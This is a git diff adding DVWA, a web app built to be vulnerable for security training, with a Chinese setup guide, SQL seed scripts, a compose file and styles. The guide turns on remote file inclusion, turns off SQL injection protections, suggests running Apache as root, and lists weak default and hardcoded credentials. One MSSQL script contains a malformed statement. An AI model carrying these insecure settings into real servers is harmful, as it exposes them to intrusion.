默认使用MySQL数据库而不是 MariaDB 数据库,但是我们强烈推荐使用 MariaDB 数据库,因为MariaDB数据库无需额外配置开箱即用,MySQL 需要手动配置才行。 + +### 数据库配置 + +配置数据库很简单, 在主菜单上单击 `Setup DVWA`, 然后单击 `Create / Reset Database`. 系统会创建 / 重置 数据库并插入其他数据。 + +如果在创建数据库的时候报错, 务必确保在 `./config/config.inc.php` 中的配置信息是正确的。 *不同于 config.inc.php.dist, 后者只是示例文件,请根据实际情况进行配置。* + +该文件的默认配置如下: + +```php +$_DVWA[ 'db_server'] = '127.0.0.1'; +$_DVWA[ 'db_port'] = '3306'; +$_DVWA[ 'db_user' ] = 'dvwa'; +$_DVWA[ 'db_password' ] = 'p@ssw0rd'; +$_DVWA[ 'db_database' ] = 'dvwa'; +``` + +有一点要注意,如果您用的是 MariaDB 而不是 MySQL (Kali中默认是 MariaDB ), 那么您将无法在数据库中使用root用户, 您必须创建一个新的数据库用户. 因此, 需要先用root用户登录数据库,然后执行以下命令: + +```mysql +mysql> create database dvwa; +Query OK, 1 row affected (0.00 sec) + +mysql> create user dvwa@localhost identified by 'p@ssw0rd'; +Query OK, 0 rows affected (0.01 sec) + +mysql> grant all on dvwa.* to dvwa@localhost; +Query OK, 0 rows affected (0.01 sec) + +mysql> flush privileges; +Query OK, 0 rows affected (0.00 sec) +``` + +### 其他配置 + +根据您的操作系统以及PHP版本等,修改默认配置以达到需求,因环境不同,配置文件的位置也是不同的。 + +**文件夹权限**: + +* `./hackable/uploads/` - 需要授予 web 服务可写权限 (用作存储上传的文件). +* `./external/phpids/0.6/lib/IDS/tmp/phpids_log.txt` - 需要授予 web 服务可写权限 (如果您想使用PHPIDS的话). + +**PHP 配置**: + +* `allow_url_include = on` - 允许包含远程文件 (RFI) [[启用url-include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)] +* `allow_url_fopen = on` - 允许远程访问(就是请求http) (RFI) [[启用url-fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)] +* `safe_mode = off` - (如果 PHP 版本 <= v5.4) 允许SQL注入 (SQLi) [[安全模式](https://secure.php.net/manual/en/features.safe-mode.php)] +* `magic_quotes_gpc = off` - (如果 PHP 版本 <= v5.4) 允许SQL注入 (SQLi) [[魔术引号](https://secure.php.net/manual/en/security.magicquotes.php)] +* `display_errors = off` - (可选) 不显示PHP警告消息 [[关闭错误显示](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)] + +**`config/config.inc.php` 文件配置**: + +* `$_DVWA[ 'recaptcha_public_key' ]` & `$_DVWA[ 'recaptcha_private_key' ]` - 这里的值可以在此网址生成: https://www.google.com/recaptcha/admin/create + +### 默认用户与密码 + +**默认用户 = `admin`** + +**默认密码 = `password`** + +_...很容易被破解 ;)_ + +登录地址: http://127.0.0.1/login.php + +_注意: 根据DVWA实际安装位置自行调整。_ + +- - - + +## Docker 容器配置 + +_这一部分说明由 @thegrims 添加,有关Docker的问题或支持,请联系他们或 @opsxcq,他是Docker映像和repo的维护者。任何问题都可能会被指向此处并解决 _ + +- [dockerhub 地址](https://hub.docker.com/r/vulnerables/web-dvwa/) +`docker run --rm -it -p 80:80 vulnerables/web-dvwa` + +由于以前的MySQL问题,请确保您正在使用 aufs 。 执行 `docker info` 命令进行检查。 如果不是 aufs, 请改为 aufs, 每个操作系统都有修改的方法,且各个差异较大,此处不做赘述。 + +- - - + +## 常见问题 + +这些问题与解决方法是认为你在基于Debian的发行版上配置的DVWA,比如Debian,Ubuntu和Kali。对于其他发行版,大同小异,但是需要根据实际情况进行修改。 + +### 打开网站 404 Not Found + +如果遇到了这个问题,首先需要知道文件所在位置。 默认情况下Apache WEB 服务的网站根目录位于 `/var/www/html`. 比如,放一个测试文件 `hello.txt` 到该目录, 那么在本机浏览器访问 `http://localhost/hello.txt` 就可以看到该文件的内容。 + +比如将该文件放在 - `/var/www/html/mydir/hello.txt` - 那么需要在网址后加上文件夹名,如: `http://localhost/mydir/hello.txt`. + +Linux 系统是大小写敏感的,如果按下面的地址访问,都会提示 `404 Not Found`: + +- `http://localhost/MyDir/hello.txt` +- `http://localhost/mydir/Hello.txt` +- `http://localhost/MYDIR/hello.txt` + +这对 DVWA 有何影响?大部分人都是直接用 git 将DVWA 克隆到 `/var/www/html`, 那么此时 DVWA 的目录为: `/var/www/html/DVWA/` 这里面包含了 DVWA 所有的文件. 此时访问 `http://localhost/` 就会提示 `404` 或者是Apache的默认欢迎页面。 像这种情况,需要将访问网址改为: `http://localhost/DVWA`. + +还有一种常见错误是在访问 `http://localhost/dvwa` 时也会报 `404` 因为Linux大小写敏感,认为 `dvwa` 与 `DVWA` 是两个不同的路径 。 + +所以在安装完以后, 如果打开网站提示 `404`, 检查文件是不是在 web 服务器的网站根目录下,然后确定大小写是否正确。 + +### 安装中提示 "Access denied" + +如果在安装过程中提示 Access denied ,请检查配置文件中的数据库账号密码是否正确: + +``` +Database Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES). +``` + +该错误提示正在使用的数据库用户名为:notdvwa + +下面的错误提示无法访问数据库,很可能是数据库配置错了。 + +``` +SQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa' +``` + +说明正在使用 dvwa 用户访问 notdvwa数据库,但是访问被拒绝。 + +首先确定配置文件是存在的。 + +如果文件确实存在,那么在命令行下检查一下, 比如用户名为: `dvwa` 密码为: `p@ssw0rd`, 那么执行以下命令: + +``` +mysql -u dvwa -pp@ssw0rd -D dvwa +``` + +*注: 参数-p后面没有空格* + +如果看到以下提示信息,那么说明账号密码是正确的: + +``` +Welcome to the MariaDB monitor. Commands end with ; or \g. +Your MariaDB connection id is 14 +Server version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10 + +Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. + +Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + +MariaDB [dvwa]> +``` + +在命令行中进行连接是正常的, 那么问题可能出在配置文件上, 再仔细检查一遍配置文件,看看是不是可以使用,如果还不行,再提issue。 + +如果看到以下提示信息,说明当前使用的账号密码不正确。 重新进行 [数据库配置](#database-setup) 确保使用的账号密码是正确的。 + +``` +ERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES) +``` +如果看到以下提示信息,说明当前使用的账号密码是正确的,但是没有访问当前数据库的权限。重新配置数据库,检查一下配置的数据库名是否正确。 + +``` +ERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa' +``` + +最后一个可能遇到的错误如下: + +``` +ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) +``` + +这不是说账号密码不正确,而是数据库没启动,执行如下命令: + +```sh +sudo service mysql start +``` + +### Unknown authentication method + +在 MySQL 最新的几个版本中, PHP的默认配置无法连接数据库。 此时进行安装配置,会提示以下消息,那么需要手动修改配置。 + +``` +Database Error #2054: The server requested authentication method unknown to the client. +``` + +有两个办法,最简单的就是卸载 MySQL 安装 MariaDB 就行了。 下面是 MariaDB 的官方文档: + + + +另一个办法如下: + +1. 用 root 身份编辑该配置文件: `/etc/mysql/mysql.conf.d/mysqld.cnf` +1. 在 `[mysqld]` 此行, 添加如下内容: + `default-authentication-plugin=mysql_native_password` +1. 重启数据库,命令: `sudo service mysql restart` +1. 查询数据库用户的身份认证方式: + + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------------------+-----------------------+ + | Host | User | plugin | + +-----------+------------------+-----------------------+ + | localhost | dvwa | caching_sha2_password | + +-----------+------------------+-----------------------+ + 1 rows in set (0.00 sec) + ``` + +1. 如果显示的是 `caching_sha2_password`. 那么执行下面的命令: + + ```sql + mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd'; + ``` + +1. 再查一遍,应该显示的是 `mysql_native_password`. + + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------+-----------------------+ + | Host | User | plugin | + +-----------+------+-----------------------+ + | localhost | dvwa | mysql_native_password | + +-----------+------+-----------------------+ + 1 row in set (0.00 sec) + ``` + +修改完成后,DVWA 安装程序应该可以正常进行。 + +如果想了解更多相关内容,请访问: . + +### Database Error #2002: No such file or directory. + +数据库没有启动。 在 Debian 上执行如下命令即可: + +```sh +sudo service mysql start +``` + +### Errors "MySQL server has gone away" and "Packets out of order" + +出现这个错误有多个原因,最有可能是当前数据库版本和 PHP 版本不兼容导致的。 + +很有可能是当前用的数据库是最新的,导致 PHP 不兼容, 最好的办法还是放弃 MySQL 安装 MariaDB ,因为不兼容问题,我们也无法提供支持。 + +更多相关内容,请访问: + + + +### 命令注入没反应 + +这个原因是 Apache 没有权限执行系统命令,如果是 Linux 系统,请用root用户启动Apache, 如果是Windows请以管理员身份启动Apache。 + +### 在 CentOS 上连不上数据库? + +很有可能是启用了 SELinux. 要么关闭 SELinux 要么执行下面的命令,以允许数据库访问: + +``` +setsebool -P httpd_can_network_connect_db 1 +``` + +### 更多 + +更多问题请参考以下仓库中已关闭的 issue : + + + +在提交issue之前,确保使用的是该仓库最新版本的代码。本仓库代码不是最新的, 只是主干中的最新代码。 + +如果需要提交issue,请至少提供以下信息: + +- 操作系统是什么? +- 出现错误后的web容器中最后至少五行日志。 +- 如果是数据库认证问题,那就重新进行一遍上面的步骤,截图每一步。将这些截图与显示数据库用户和密码的配置文件部分的屏幕截图一起提交。 +- 对该问题的详细描述,你觉得会发生什么,以及你已经尽力去解决它。像 "登录失败" 不足以让我们明白您的问题出在哪里,也无法帮助您解决。 +- - - + +## SQLite3 SQL 注入 + +_对该部分的支持是有限的, 在提交issue之前,确保已经尝试尽力去解决, 而不是简单的一句 "它没反应"。_ + +通常情况下 SQL 注入 和 SQL 盲注 都是对使用 MySQL 和 MariaDB 数据库站点进行测试的,但是也可以用在sqlite上。 + +我不打算介绍如何在PHP中使用 SQLite3 , 不过安装 `php-sqlite3` 依赖来实现 PHP 连接 SQLite3 应该是比较简单的。 + +要切换为 SQLite3 只需要编辑下面几行: + +``` +$_DVWA["SQLI_DB"] = "sqlite"; +$_DVWA["SQLITE_DB"] = "sqli.db"; +``` + +默认情况,使用的是 `database/sqli.db` 文件, 如果配置错了或者崩了,只要复制一份 `database/sqli.db.dist` 覆盖掉原文件就行了。 + +可能出现的问题和 MySQL 差不多,唯一不同的是,当前数据库是SQLite3 + +- - - + +## 关于 + +项目地址: + +*DVWA 团队* diff --git a/DVWA/SECURITY.md b/DVWA/SECURITY.md new file mode 100644 index 00000000..671e87d5 --- /dev/null +++ b/DVWA/SECURITY.md @@ -0,0 +1 @@ +The clue is in its name, DVWA contains both intentional and unintentional vulnerabliities, that is it's whole point, please do not try to report them. diff --git a/DVWA/about.php b/DVWA/about.php new file mode 100644 index 00000000..1b505fba --- /dev/null +++ b/DVWA/about.php @@ -0,0 +1,56 @@ + +

About

+

Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment

+

Pre-August 2020, All material is copyright 2008-2015 RandomStorm & Ryan Dewhurst.

+

Ongoing, All material is copyright Robin Wood and probably Ryan Dewhurst.

+ +

Links

+
    +
  • Project Home: " . dvwaExternalLinkUrlGet( 'https://github.com/digininja/DVWA' ) . "
  • +
  • Bug Tracker: " . dvwaExternalLinkUrlGet( 'https://github.com/digininja/DVWA/issues' ) . "
  • +
  • Wiki: " . dvwaExternalLinkUrlGet( 'https://github.com/digininja/DVWA/wiki' ) . "
  • +
+ +

Credits

+
    +
  • Brooks Garrett: " . dvwaExternalLinkUrlGet( 'http://brooksgarrett.com/','www.brooksgarrett.com' ) . "
  • +
  • Craig
  • +
  • g0tmi1k: " . dvwaExternalLinkUrlGet( 'https://blog.g0tmi1k.com/','g0tmi1k.com' ) . "
  • +
  • Jamesr: " . dvwaExternalLinkUrlGet( 'https://www.creativenucleus.com/','www.creativenucleus.com' ) . "
  • +
  • Jason Jones
  • +
  • RandomStorm
  • +
  • Ryan Dewhurst: " . dvwaExternalLinkUrlGet( 'https://wpscan.com/','wpscan.com' ) . "
  • +
  • Shinkurt: " . dvwaExternalLinkUrlGet( 'http://www.paulosyibelo.com/','www.paulosyibelo.com' ) . "
  • +
  • Tedi Heriyanto: " . dvwaExternalLinkUrlGet( 'http://tedi.heriyanto.net/','tedi.heriyanto.net' ) . "
  • +
  • Tom Mackenzie
  • +
  • Robin Wood: " . dvwaExternalLinkUrlGet( 'https://digi.ninja/','digi.ninja' ) . "
  • +
  • Zhengyang Song: " . dvwaExternalLinkUrlGet( 'https://github.com/songzy12/','songzy12' ) . "
  • +
+ +

License

+

Damn Vulnerable Web Application (DVWA) is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version.

+ +

Development

+

Everyone is welcome to contribute and help make DVWA as successful as it can be. All contributors can have their name and link (if they wish) placed in the credits section. To contribute pick an Issue from the Project Home to work on or submit a patch to the Issues list.

+\n"; + +dvwaHtmlEcho( $page ); + +exit; + +?> diff --git a/DVWA/compose.yml b/DVWA/compose.yml new file mode 100644 index 00000000..adc9610a --- /dev/null +++ b/DVWA/compose.yml @@ -0,0 +1,39 @@ +volumes: + dvwa: + + +networks: + dvwa: + + +services: + dvwa: + build: . + image: ghcr.io/digininja/dvwa:latest + # Change `always` to `build` to build from local source + pull_policy: always + environment: + - DB_SERVER=db + depends_on: + - db + # Uncomment the next 2 lines to serve local source + # volumes: + # - ./:/var/www/html + networks: + - dvwa + ports: + - 127.0.0.1:4280:80 + restart: unless-stopped + + db: + image: docker.io/library/mariadb:10 + environment: + - MYSQL_ROOT_PASSWORD=dvwa + - MYSQL_DATABASE=dvwa + - MYSQL_USER=dvwa + - MYSQL_PASSWORD=p@ssw0rd + volumes: + - dvwa:/var/lib/mysql + networks: + - dvwa + restart: unless-stopped diff --git a/DVWA/config/config.inc.php.dist b/DVWA/config/config.inc.php.dist new file mode 100644 index 00000000..269f367b --- /dev/null +++ b/DVWA/config/config.inc.php.dist @@ -0,0 +1,56 @@ + diff --git a/DVWA/database/create_mssql_db.sql b/DVWA/database/create_mssql_db.sql new file mode 100644 index 00000000..a1657f6c --- /dev/null +++ b/DVWA/database/create_mssql_db.sql @@ -0,0 +1,15 @@ +/* +In case I get round to adding MS SQL support, this creates and populates the tables. +*/ + +CREATE DATABASE dvwa; + +USE dvwa; + +CREATE TABLE users (user_id INT PRIMARY KEY,first_name VARCHAR(15),last_name VARCHAR(15), [user] VARCHAR(15), password VARCHAR(32),avatar VARCHAR(70), last_login DATETIME, failed_login INT); + +INSERT INTO users VALUES ('1','admin','admin','admin',CONVERT(NVARCHAR(32),HashBytes('MD5', 'password'),2),'admin.jpg', GETUTCDATE(), '0'), ('2','Gordon','Brown','gordonb',CONVERT(NVARCHAR(32),HashBytes('MD5', 'abc123'),2),'gordonb.jpg', GETUTCDATE(), '0'), ('3','Hack','Me','1337',CONVERT(NVARCHAR(32),HashBytes('MD5', 'charley'),2),'1337.jpg', GETUTCDATE(), '0'), ('4','Pablo','Picasso','pablo',CONVERT(NVARCHAR(32),HashBytes('MD5', 'letmein'),2),'pablo.jpg', GETUTCDATE(), '0'), ('5', 'Bob','Smith','smithy',CONVERT(NVARCHAR(32),HashBytes('MD5', 'password'),2),'smithy.jpg', GETUTCDATE(), '0'); + +CREATE TABLE guestbook (comment_id INT IDENTITY(1,1) PRIMARY KEY, comment VARCHAR(300), name VARCHAR(100),2); + +INSERT INTO guestbook (comment, name) VALUES ('This is a test comment.','test'); diff --git a/DVWA/database/create_oracle_db.sql b/DVWA/database/create_oracle_db.sql new file mode 100644 index 00000000..7bf70f2a --- /dev/null +++ b/DVWA/database/create_oracle_db.sql @@ -0,0 +1,27 @@ +/* Create a copy of the database and contents in Oracle */ + +CREATE TABLE users ( +user_id NUMBER NOT NULL, +first_name varchar(20) DEFAULT NULL, +last_name varchar(20) DEFAULT NULL, +"user" varchar(20) DEFAULT NULL, +password varchar(20) DEFAULT NULL, +avatar varchar(20) DEFAULT NULL, +last_login TIMESTAMP, +failed_login NUMBER, +PRIMARY KEY (user_id) +); + +CREATE TABLE guestbook +(comment_id NUMBER GENERATED BY DEFAULT AS IDENTITY, +"comment" VARCHAR(100) DEFAULT NULL, +"name" VARCHAR(100) NOT NULL, +PRIMARY KEY (comment_id)); + +INSERT INTO users values ('1','admin','admin','admin',('password'),'admin.jpg', sysdate, '0'); +INSERT INTO users values ('2','Gordon','Brown','gordonb',('abc123'),'gordonb.jpg', sysdate, '0'); +INSERT INTO users values ('3','Hack','Me','1337',('charley'),'1337.jpg', sysdate, '0'); +INSERT INTO users values ('4','Pablo','Picasso','pablo',('letmein'),'pablo.jpg', sysdate, '0'); +INSERT INTO users values ('5','Bob','Smith','smithy',('password'),'smithy.jpg', sysdate, '0'); + +INSERT INTO guestbook ("comment", "name") VALUES ('What a brilliant app!', 'Marcel Marceau'); diff --git a/DVWA/database/create_postgresql_db.sql b/DVWA/database/create_postgresql_db.sql new file mode 100644 index 00000000..20e96147 --- /dev/null +++ b/DVWA/database/create_postgresql_db.sql @@ -0,0 +1,7 @@ +CREATE TABLE users (user_id INT PRIMARY KEY,first_name VARCHAR(15),last_name VARCHAR(15), "user" VARCHAR(15), password VARCHAR(32),avatar VARCHAR(70), last_login timestamp, failed_login INT); + +INSERT INTO users VALUES ('1','admin','admin','admin',MD5('password'),'admin.jpg', CURRENT_TIMESTAMP, '0'),('2','Gordon','Brown','gordonb',MD5('abc123'),'gordonb.jpg', CURRENT_TIMESTAMP, '0'), ('3','Hack','Me','1337',MD5('charley'),'1337.jpg', CURRENT_TIMESTAMP, '0'), ('4','Pablo','Picasso','pablo',MD5('letmein'),'pablo.jpg', CURRENT_TIMESTAMP, '0'), ('5', 'Bob','Smith','smithy',MD5('password'),'smithy.jpg', CURRENT_TIMESTAMP, '0'); + +CREATE TABLE guestbook (comment_id serial PRIMARY KEY, comment VARCHAR(300), name VARCHAR(100)); + +INSERT INTO guestbook (comment, name) VALUES ('This is a test comment.','test'); diff --git a/DVWA/database/create_sqlite_db.sql b/DVWA/database/create_sqlite_db.sql new file mode 100644 index 00000000..08463dc1 --- /dev/null +++ b/DVWA/database/create_sqlite_db.sql @@ -0,0 +1,27 @@ +CREATE TABLE `users` ( +`user_id` int NOT NULL, +`first_name` text DEFAULT NULL, +`last_name` text DEFAULT NULL, +`user` text DEFAULT NULL, +`password` text DEFAULT NULL, +`avatar` text DEFAULT NULL, +`last_login` datetime, +`failed_login` int, +PRIMARY KEY (`user_id`) +); + +CREATE TABLE `guestbook` ( +`comment_id` int, +`comment` text default null, +`name` text DEFAULT NULL, +PRIMARY KEY (`comment_id`) +); + + +insert into users values ('1','admin','admin','admin',('password'),'admin.jpg', DATE(), '0'); +insert into users values ('2','Gordon','Brown','gordonb',('abc123'),'gordonb.jpg', DATE(), '0'); +insert into users values ('3','Hack','Me','1337',('charley'),'1337.jpg', DATE(), '0'); +insert into users values ('4','Pablo','Picasso','pablo',('letmein'),'pablo.jpg', DATE(), '0'); +insert into users values ('5','Bob','Smith','smithy',('password'),'smithy.jpg', DATE(), '0');; + +insert into guestbook values ('1', 'What a brilliant app!', 'Marcel Marceau'); diff --git a/DVWA/database/sqli.db b/DVWA/database/sqli.db new file mode 100644 index 00000000..53611582 Binary files /dev/null and b/DVWA/database/sqli.db differ diff --git a/DVWA/database/sqli.db.dist b/DVWA/database/sqli.db.dist new file mode 100644 index 00000000..d8e12b7b Binary files /dev/null and b/DVWA/database/sqli.db.dist differ diff --git a/DVWA/docs/DVWA_v1.3.pdf b/DVWA/docs/DVWA_v1.3.pdf new file mode 100644 index 00000000..fb3e9529 Binary files /dev/null and b/DVWA/docs/DVWA_v1.3.pdf differ diff --git a/DVWA/docs/graphics/docker/detail.png b/DVWA/docs/graphics/docker/detail.png new file mode 100644 index 00000000..b428ff26 Binary files /dev/null and b/DVWA/docs/graphics/docker/detail.png differ diff --git a/DVWA/docs/graphics/docker/overview.png b/DVWA/docs/graphics/docker/overview.png new file mode 100644 index 00000000..990f5a8d Binary files /dev/null and b/DVWA/docs/graphics/docker/overview.png differ diff --git a/DVWA/docs/pdf.html b/DVWA/docs/pdf.html new file mode 100644 index 00000000..43eb3a77 --- /dev/null +++ b/DVWA/docs/pdf.html @@ -0,0 +1 @@ +Damn Vulnerable Web Application (DVWA) Official Documentation PDF v1.3 diff --git a/DVWA/dvwa/css/help.css b/DVWA/dvwa/css/help.css new file mode 100644 index 00000000..aaf04c9e --- /dev/null +++ b/DVWA/dvwa/css/help.css @@ -0,0 +1,45 @@ +body { + background-color: #e7e7e7; + font-family: Arial, Helvetica, sans-serif; + font-size: 13px; +} + +h1 { + font-size: 25px; +} + +div#container { +} + +div#code { + background-color: #ffffff; +} + +div#area { + margin-left: 30px; +} + +span.spoiler { + background-color: black; + color: black; +} + +/* === Dark theme === */ +body.dark { + background: #2f2f2f; + color: #f8fafa; +} + +body.dark a { + color: #99cc33; +} + +body.dark div#code { + background-color: #2f2f2f; + color: #f8fafa; +} + +body.dark table { + background-color: #2f2f2f; + border: none !important; +} \ No newline at end of file diff --git a/DVWA/dvwa/css/login.css b/DVWA/dvwa/css/login.css new file mode 100644 index 00000000..4e397327 --- /dev/null +++ b/DVWA/dvwa/css/login.css @@ -0,0 +1,59 @@ +body { + background: #fefffe; + font: 12px/15px Arial, Helvetica, sans-serif; + line-height: 20px; + color: #6b6b6b; +} + +#wrapper { + text-align: center; + margin: 0 auto; +} + +#content { + display: inline-block; + padding: 20px; + width: auto; +} + +#footer { + position: absolute; + width: 100%; + height: 50px; + bottom: 0px; + left: 0px; +} + +label { + float: left; + text-align: right; + margin-right: 0.5em; + display: block; + overflow: hidden; + padding-right: 50px; + font-weight: bold; +} + +.loginInput { + float: left; + color: #6B6B6B; + width: 320px; + background-color: #F4F4F4; + border: 1px; + border-style: solid; + border-color: #c4c4c4; + padding: 6px; + margin-bottom: 12px; +} + +fieldset { + width: 350px; + padding: 10px 20px 10px 20px; + overflow: hidden; + border-style: none; +} + +p { + font-size: 10px; +} + diff --git a/DVWA/dvwa/css/main.css b/DVWA/dvwa/css/main.css new file mode 100644 index 00000000..83b45091 --- /dev/null +++ b/DVWA/dvwa/css/main.css @@ -0,0 +1,335 @@ +body { + margin: 0; + color: #2f2f2f; + font: 12px/15px Arial, Helvetica, sans-serif; + min-width: 981px; + height: 100%; + position: relative; +} + +body.home { + background: #e7e7e7; +} + +div.clear { + clear: both; +} + +a { + color: #99cc33; + text-decoration: underline; + font-weight: bold; +} + +a img { + border: 0; +} + +a: hover { + text-decoration: none; +} + +input, textarea, select { + font: 100% arial,sans-serif; + vertical-align: middle; +} + +form,fieldset { + margin: 0; + padding: 0; + border-style: none; +} + +em { + font-weight: bold; + font-style: normal; +} + +h1, h2, h3, h4, h5, h6 { + margin-top: 0px; +} + +h1 { + font-size: 200%; +} + +h2 { + font-size: 160%; +} + + +h3 { + font-size: 130%; +} + +hr { + border-width: 0px; + color: #C3D9FF; + background-color: #C3D9FF; + height: 1px; +} + +ul.menuBlocks { + list-style-type: none; + padding-left: 0px; + margin-top: 0px; + margin-bottom: 0px; + margin-left: 0px; +} + +ul + ul, ul + ul.menuBlocks, ul + h1, ul + h2, ul + p { + margin-top: 20px; +} + +.fixed { + font-family: Fixed, Courier, monospace; + font-size: 13px; +} + +div.nearly { + border: 2px solid #0000ff; + padding: 10px 20px 10px 20px; + margin-top: 15px; + margin-bottom: 15px; +} + +div.success { + border: 2px solid #00ff00; + padding: 10px 20px 10px 20px; + text-align: center; + font-weight: bold; + margin-top: 15px; + margin-bottom: 15px; +} + +div.warning { + border: 2px solid #ff0000; + padding: 10px 20px 10px 20px; + color: #800000; + margin-top: 15px; + margin-bottom: 15px; +} + +div.warning h1 { + color: #ff0000; +} + +div.message { + border: 1px solid #C0C0C0; + padding: 5px; + margin: 10px 0px 10px 0px; + background-color: #f8fafa; + width: 45%; +} + +div#container { + width: 900px; + height: 100%; + margin-left: auto; + margin-right: auto; + background: #f4f4f4; + font-size: 13px; +} + +div#header { + position: relative; + padding: 10px; + overflow: hidden; + background: #2f2f2f; + border-bottom: 5px solid #A1CC33; + text-align: center; +} + +div#system_info { + padding: 10px; + text-align: right; +} + +div#main_body { + float: right; + width: 693px; + background: #f4f4f4; + padding-top: 20px; + padding-bottom: 10px; + font-size: 13px; +} + +div.body_padded { + padding-left: 20px; + padding-right: 20px; +} + +div#main_menu { + float: left; + width: 200px; + height: 100%; + background-color: #f4f4f4; + padding-top: 10px; + padding-bottom: 10px; +} + +div#main_menu li { + border-width: 1px; + border-style: solid; + border-color: #D2D4D4 #6B778C #6B778C #D2D4D4; + padding: 3px 5px 3px 5px; + margin-bottom: 3px; + background-color: #bebebe; +} + +div#main_menu li a { + color: #000000; + text-decoration: none; + display: block; +} + +div#main_menu li:hover { + background-color: #ccc; +} + + +div#main_menu li.selected { + border-color: #758DAE #758DAE #758DAE #758DAE; + background-color: #99cc33; +} + +div#main_menu li.selected a { + color: #F9F7ED; +} + +div#main_menu li: hover { + border-color: #D2D4D4; +} + +div#main_menu li: hover a { + color: #F9F7ED; +} + +div#main_menu_padded { + padding: 15px; +} + +div#footer { + color: #999999; + background: #2f2f2f; + padding: 10px; + text-align: center; + border-top: 5px solid #A1CC33; +} + +.popup_button { + border-width: 1px; + border-style: solid; + border-color: #D2D4D4 #6B778C #6B778C #D2D4D4; + padding: 3px 5px; + margin-bottom: 3px; + background-color: #bebebe; + font-weight: bold; + float: right; + cursor: pointer; + color: #000000; +} + +.popup_button:hover { + color: white; + background-color: #A1CC33; +} + + + + +div.vulnerable_code_area { + background-color: #f8fafa; + border-width: 1px; + border-style: solid; + border-color: #000000; + padding: 10px 20px 10px 20px; + margin-bottom: 20px; +} + +div#guestbook_comments { + width: 45%; + background-color: #f8fafa; + border-width: 1px; + border-style: solid; + border-color: #C0C0C0; + padding: 5px 10px 5px 10px; + margin-bottom: 5px; +} + +div#idslog { + border: 1px solid #C0C0C0; + padding: 5px; + margin: 10px 0px 10px 0px; + background-color: #f8fafa; +} + +pre { + color: red; +} + +div.submenu { + border-bottom: 1px solid #000000; + margin-bottom: 15px; + padding: 4px 0px 10px 0px; + font-size: 13px; +} + +span.submenu_item { + padding: 0px 10px 0px 10px; +} + +span.submenu_item + span.submenu_item { + border-left: 1px dashed #000000; + font-size: 13px; +} + +span.selected { + font-weight: bold; +} + +span.success { + + color:green; +} + +span.failure { + color:red; + font-weight: bold; +} + +.theme-icon { + position: absolute; + right: 0; +} + +.theme-icon img { + height: 32px; + width: 32px; +} + + +/* === Dark theme === */ +body.home.dark { + background: #2f2f2f; + color: #f8fafa; +} + +body.home.dark #container, +body.home.dark #main_menu, +body.home.dark #main_body, +body.home.dark #system_info { + background: #2f2f2f; +} + +body.home.dark .vulnerable_code_area { + background: #2f2f2f; +} + +body.home.dark .message { + background-color: #2f2f2f; +} + +body.home.dark div#guestbook_comments { + background-color: #2f2f2f; +} \ No newline at end of file diff --git a/DVWA/dvwa/css/source.css b/DVWA/dvwa/css/source.css new file mode 100644 index 00000000..58fa5a1c --- /dev/null +++ b/DVWA/dvwa/css/source.css @@ -0,0 +1,47 @@ +body { + background-color: #e7e7e7; + font-family: Arial, Helvetica, sans-serif; + font-size: 13px; +} + +h1 { + font-size: 25px; +} + +div#container { +} + +div#code { + background-color: #ffffff; +} + +div#area { + margin-left: 30px; +} + +.loginSuccess { + color: #638323; +} + +.loginFail { + color: #a50a0a; +} + +/* === Dark theme === */ +body.dark { + background: #2f2f2f; + color: #f8fafa; +} + +body.dark a { + color: #99cc33; +} + +body.dark div#code { + background-color: #bdbdbd; +} + +body.dark table { + background-color: #2f2f2f; + border: none !important; +} \ No newline at end of file diff --git a/DVWA/dvwa/images/dollar.png b/DVWA/dvwa/images/dollar.png new file mode 100644 index 00000000..5bc12b98 Binary files /dev/null and b/DVWA/dvwa/images/dollar.png differ diff --git a/DVWA/dvwa/images/lock.png b/DVWA/dvwa/images/lock.png new file mode 100644 index 00000000..16979f15 Binary files /dev/null and b/DVWA/dvwa/images/lock.png differ diff --git a/DVWA/dvwa/images/login_logo.png b/DVWA/dvwa/images/login_logo.png new file mode 100644 index 00000000..11c59f46 Binary files /dev/null and b/DVWA/dvwa/images/login_logo.png differ diff --git a/DVWA/dvwa/images/logo.png b/DVWA/dvwa/images/logo.png new file mode 100644 index 00000000..b98bcf6d Binary files /dev/null and b/DVWA/dvwa/images/logo.png differ diff --git a/DVWA/dvwa/images/spanner.png b/DVWA/dvwa/images/spanner.png new file mode 100644 index 00000000..efafbcff Binary files /dev/null and b/DVWA/dvwa/images/spanner.png differ diff --git a/DVWA/dvwa/images/theme-light-dark.png b/DVWA/dvwa/images/theme-light-dark.png new file mode 100644 index 00000000..cf844e08 Binary files /dev/null and b/DVWA/dvwa/images/theme-light-dark.png differ diff --git a/DVWA/dvwa/images/warning.png b/DVWA/dvwa/images/warning.png new file mode 100644 index 00000000..6c9e4705 Binary files /dev/null and b/DVWA/dvwa/images/warning.png differ diff --git a/DVWA/dvwa/includes/DBMS/MySQL.php b/DVWA/dvwa/includes/DBMS/MySQL.php new file mode 100644 index 00000000..79ac9347 --- /dev/null +++ b/DVWA/dvwa/includes/DBMS/MySQL.php @@ -0,0 +1,104 @@ +Please check the config file.
